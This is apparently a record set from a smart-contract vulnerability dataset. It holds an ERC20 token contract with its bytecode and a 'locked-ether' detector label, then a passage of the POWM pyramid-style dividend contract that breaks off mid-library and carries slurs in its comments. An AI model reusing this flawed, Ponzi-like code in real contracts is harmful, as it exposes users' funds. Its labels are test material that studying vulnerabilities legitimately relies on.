constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058208afd4e3e7fb8b83d5bdb23786b131e7a00c0d52faeb765619e1226d647e983190029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 19481, 2546, 22275, 2050, 2692, 2497, 2575, 2497, 2692, 23777, 2575, 2063, 2692, 2629, 2546, 2487, 2497, 2475, 9468, 21472, 22407, 2509, 9818, 19961, 20842, 19317, 2549, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 8833, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,097
0x963617e1ad931f48c6efe423b616c0e0e8cb60b0
pragma solidity ^0.4.20; /* * Team JUST presents.. pofomofud * ====================================* * _____ _ _ _ _____ * *| _ |___| | | | | | * *| __| . | | | | | | * *|__| |___|_____| | | * * * * ====================================* * -> What? */ contract POWM { address didyoucopy_questionmark = 0x20C945800de43394F70D789874a4daC9cFA57451; /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } modifier buy_timestamp(){ require((block.timestamp % (1800)) <= 900); //require((block.timestamp % (120)) < 60); _; } modifier sell_timestamp(){ require((block.timestamp % (1800)) > 900); //require((block.timestamp % (120)) >= 60); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "POWM"; string public symbol = "PWM"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 5; // Look, strong Math uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // proof of stake (defaults at 100 tokens) // free masternodes uint256 public stakingRequirement = 0; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 1 ether; uint256 constant internal ambassadorQuota_ = 20 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = false; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function POWM() public payable { require(msg.value > 0); administrators[didyoucopy_questionmark] = true; buy(didyoucopy_questionmark); } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) buy_timestamp() public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() buy_timestamp() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public sell_timestamp() { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() sell_timestamp() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() sell_timestamp() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() sell_timestamp() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ function disableInitialStage() onlyAdministrator() public { onlyAmbassadors = false; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) buy_timestamp() internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a 